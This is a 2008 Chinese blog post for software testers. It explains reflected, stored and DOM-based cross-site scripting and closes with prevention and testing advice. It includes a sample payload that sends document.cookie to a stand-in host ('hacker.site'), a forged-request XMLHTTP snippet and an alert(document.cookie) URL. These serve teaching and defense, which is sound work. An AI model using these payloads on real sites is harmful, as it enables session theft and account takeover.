[原创]网站安全测试和OWASP十大Web漏洞 之 跨站脚本攻击(XSS)

上一篇 / 下一篇  2008-04-18 17:57:20 / 个人分类:软件测试技术

TOP1 - 跨站点脚本攻击 (XSS):XSS是目前最为普遍和影响严重的WEB应用安全漏洞。当应用程序没有对用户提交的内容进行验证和重新编码,直接呈现给网站的访问者时,可能会发生XSS攻击。

XSS可以让攻击者在页面访问者的浏览器中执行脚本(一般为Javascrīpt),从而可以进行获得用户会话的安全信息,插入恶意的信息,操纵浏览器,植入病毒等恶意行为。

按照注入的途径,一般分为Reflected(反射)、DOM-based(基于DOM文档对象模型)和Stored(存储)的三种,下面我们分别来介绍他们是如何作用的。

Reflected XSS:

当表单中输入的内容,提交到服务器后未经过安全检查或重新的编码,立即显示在返回的页面上。其中的脚本会立即被执行,我们称之为基于反射的XSS。

攻击者利用一些存在漏洞的网站上的表单,构造一些含有恶意代码的页面的URL,使你在访问本可信任的站点时遭受攻击。

下面我们来举个简单的例子,假设一个博客的搜索结果的页面是可以用IE书签保存的(比如以GET方法提交的表单)。在搜索的关键字文本框中,我们输入:

<scrīpt>var+img=new+Image();img.src=”http://hacker.site/”%20+%
20document.cookie;</scrīpt>.

如果BLOG引擎没有过滤和处理该字符串,作为关键字的这段代码,直接回显在搜索结果页面上的话,就得到了以下一段代码:

img.src=”http://hacker.site/”+ document.cookie;。

恶意者将搜索结果页面的link发给论坛或即时聊天工具上的其他人,他们点击后,执行的结果会是 将该网站路径下的cookie发到了http://hacker.site/,从而暴露了您的安全信息。如果该BLOG网站存在用cookie保存用户名、密码,便于访客的自动登录的机制,那很可能你的帐号就会被别人获取了。

Stored XSS:

机理类似于基于反射的XSS,只是它是将攻击代码提交到了服务器端的数据库或文件系统中。不用构造一个URL,而是保存在一片文章或一个论坛帖子中,从而使得访问该页面的用户都有可能受到攻击。

举例来说,我们在论坛的帖子中包含以下代码:

var objHTTP, strResult; ōbjHTTP = new ActiveXObject('Microsoft.XMLHTTP');

objHTTP.Open('POST', "<某个表单指向的Action>",false);

objHTTP.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

objHTTP.send("<构造的请求内容>"); strResult=objHTTP.responseText;

当其他用户访问该文章时,这里的脚本就会被执行,而且是以当前用户的身份执行的。因为使用XMLHttpRequest()时会同时发出用户的Cookie, 从而可以获得当前用户的权限.

对于Reflected和Stored XSS对预防,总的说需要做好以下方面的工作

  1. 使用标准的机制去验证用户输入内容的长度、类型、语法和商业规则,然后才将他们显示或保存到数据库中。
  2. 在页面上输出要客户提交的内容时,进行编码。

DOM-based XSS:

假设我们有个名为http://www.mysite.com的站点,用户登录后会进入一个欢迎页面welcome.html,welcome页面包含以下的一段代码:

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<scrīpt>

      var pos=document.URL.indexOf("name=")+5;

      document.write(document.URL.substring(pos,document.URL.length));

</scrīpt>

<BR>

Welcome to our system

</HTML>

一般情况下,用户通过链接http://www.mysite.com/welcome.html?name=Chico,进入到welcome页面,其上会显示”Hi Chico“这样的文字。

试想如果我们输入http://www.mysite.com/welcome.html?name=<scrīpt>alert(document.cookie)</scrīpt>这样的地址会发生什么情况呢?有WEB技术经验的人都会知道页面中会被植入<scrīpt>alert(document.cookie)</scrīpt>这样的Javascrīpt代码,并且会被执行。

基于DOM的XSS攻击,恶意代码是借助于DOM本身的问题而被植入的,表现在客户端的浏览器中;恶意代码来源于别处(查询字符串中,或调用的其他的外部网站的内容片段);name=这样的查询参数也可以通过一些技术手段让服务器端忽略,而不做任何的安全验证。

由此可见,有别于这里介绍的另外两种类型,想要预防它,需要对网站的JAVASCIPT脚本部分进行Pear-Review和优化,杜绝或谨慎使用一些诸如document.forms[0].action=… ,document.location=… ,eval(…)容易招致攻击的语句。 

=================================================================

XSS漏洞预防和测试

  1. 如果您使用的Struts这个目前最流行的J2EE MVC开源框架,可阅读下面的文章,考虑引入HDIV开源项目。那样,只需测试该框架是否起作用了,少用或不用其他的黑盒用例了:
  2. 或者引入这个输入验证器项目http://www.owasp.org/index.php/Category:OWASP_Stinger_Project,并测试其工作良好。
  3. 对于安全测试用例,请参考http://ha.ckers.org/xss.html,此为一个更为详尽的欺骗脚本列表,并有相应说明。
  4. 测试执行时,必须是做服务器端的表单验证;可以考虑用JMeter模拟HTTP请求,并为每个输入字段作参数化。
  5. 对于DOM-based XSS,在代码Review时,由Leader进行手工检测。
  6. 记住千万不要忘记选择框和隐藏字段等都是要测试的哦。

www.ChinaQA.com, Chico Chen,chicochen@hotmail.com


TAG: 软件测试技术 OWASP 网站安全 XSS 跨站脚本攻击

 

评分:0

我来说两句

Open Toolbar